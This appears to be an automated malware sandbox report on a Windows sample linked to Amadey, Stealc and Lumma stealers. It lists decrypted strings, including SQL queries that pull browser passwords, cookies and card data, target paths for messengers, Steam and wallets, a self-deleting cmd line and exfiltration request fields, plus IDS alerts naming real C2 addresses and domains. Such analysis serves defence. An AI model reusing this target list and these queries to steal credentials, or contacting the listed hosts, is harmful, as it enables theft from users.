Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RegOpenKeyExA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RegCloseKey
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RegEnumValueA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CryptBinaryToStringA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CryptUnprotectData
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SHGetFolderPathA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ShellExecuteExA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: InternetOpenUrlA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: InternetConnectA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: InternetCloseHandle
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: InternetOpenA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: HttpSendRequestA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: HttpOpenRequestA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: InternetReadFile
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: InternetCrackUrlA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: StrCmpCA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: StrStrA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: StrCmpCW
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: PathMatchSpecA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: GetModuleFileNameExA
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RmStartSession
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RmRegisterResources
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RmGetList
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: RmEndSession
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_open
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_step
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_column_text
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_finalize
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_close
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3_column_blob
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: encrypted_key
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: PATH
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: NSS_Init
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: NSS_Shutdown
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: PK11_FreeSlot
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: PK11_Authenticate
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: C:\ProgramData\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: browser:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: profile:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: url:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: login:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: password:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Opera
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: OperaGX
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Network
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: cookies
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: .txt
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: TRUE
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: FALSE
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: autofill
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: history
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: cc
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: name:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: month:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: year:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: card:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Cookies
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Login Data
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Web Data
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: History
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: logins.json
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: formSubmitURL
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: usernameField
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: encryptedUsername
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: encryptedPassword
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: guid
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: cookies.sqlite
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: formhistory.sqlite
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: places.sqlite
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: plugins
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Local Extension Settings
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Sync Extension Settings
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: IndexedDB
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Opera Stable
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Opera GX Stable
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: CURRENT
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: chrome-extension_
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Local State
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: profiles.ini
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: chrome
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: opera
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: firefox
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: wallets
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ProductName
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: x32
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: x64
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ProcessorNameString
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: DisplayName
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: DisplayVersion
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Network Info:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - IP: IP?
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Country: ISO?
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: System Summary:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - HWID:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - OS:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Architecture:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - UserName:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Computer Name:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Local Time:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - UTC:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Language:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Keyboards:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Laptop:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Running Path:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - CPU:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Threads:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Cores:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - RAM:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - Display Resolution:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: - GPU:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: User Agents:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Installed Apps:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: All Users:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Current User:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Process List:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: system_info.txt
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: freebl3.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: mozglue.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: msvcp140.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: nss3.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: softokn3.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: vcruntime140.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \Temp\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: .exe
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: runas
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: open
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: /c start
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %DESKTOP%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %APPDATA%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %USERPROFILE%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %DOCUMENTS%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: %RECENT%
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: *.lnk
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: files
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \discord\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \Telegram Desktop\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: key_datas
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: map*
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Telegram
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Tox
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: *.tox
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: *.ini
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Password
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 00000001
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 00000002
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 00000003
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: 00000004
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Pidgin
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \.purple\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: accounts.xml
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: token:
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Software\Valve\Steam
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: SteamPath
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \config\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ssfn*
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: config.vdf
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: DialogConfig.vdf
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: libraryfolders.vdf
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: loginusers.vdf
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \Steam\
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: sqlite3.dll
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: browsers
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: done
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: soft
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: https
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: POST
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: HTTP/1.1
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: hwid
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: build
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: token
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: file_name
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: file
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: message
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 7.2.b02ca6c530.exe.1d0000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:50063 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: b02ca6c530.exe, 00000007.00000003.1872114375.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 00000007.00000002.1913143748.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000B.00000003.1990105604.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2049326377.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000E.00000003.2156814063.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000E.00000002.2211768610.00000000001FC000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: my_library.pdb source: b02ca6c530.exe, b02ca6c530.exe, 0000000B.00000003.1990105604.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2049326377.00000000001FC000.00000040.00000001.01000000.00000009.sdmp, b02ca6c530.exe, 0000000E.00000003.2156814063.0000000004C2B000.00000004.00001000.00020000.00000000.sdmp, b02ca6c530.exe, 0000000E.00000002.2211768610.00000000001FC000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000002.2275816134.0000000000B62000.00000040.00000001.01000000.0000000B.sdmp, K73CAIXQZ7ROMEX8OQ5J7.exe, 0000000D.00000003.2139518597.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, e62942d11f.exe, 00000018.00000003.2520651882.0000000004990000.00000004.00001000.00020000.00000000.sdmp, e62942d11f.exe, 00000018.00000002.2622619851.0000000000C12000.00000040.00000001.01000000.00000013.sdmp, 7c247f0fb6.exe, 00000019.00000003.2566929808.0000000005090000.00000004.00001000.00020000.00000000.sdmp, 7c247f0fb6.exe, 00000019.00000002.2621259183.0000000000D22000.00000040.00000001.01000000.00000014.sdmp, BDDBC4BP671F32YA9Q.exe, 0000001A.00000002.2622678766.0000000000C92000.00000040.00000001.01000000.00000015.sdmp, BDDBC4BP671F32YA9Q.exe, 0000001A.00000003.2606998063.00000000049C0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Directory queried: number of queries: 2354

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49956 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.7:49956
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49971 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.7:49972
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49973 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:50305 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:65008 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:61394 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49975 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49980 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49982 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49986 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:55444 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49992 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49990 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49978 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49995 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:62836 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:63893 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49998 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:51488 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:55163 -> 1.1.1.1:53
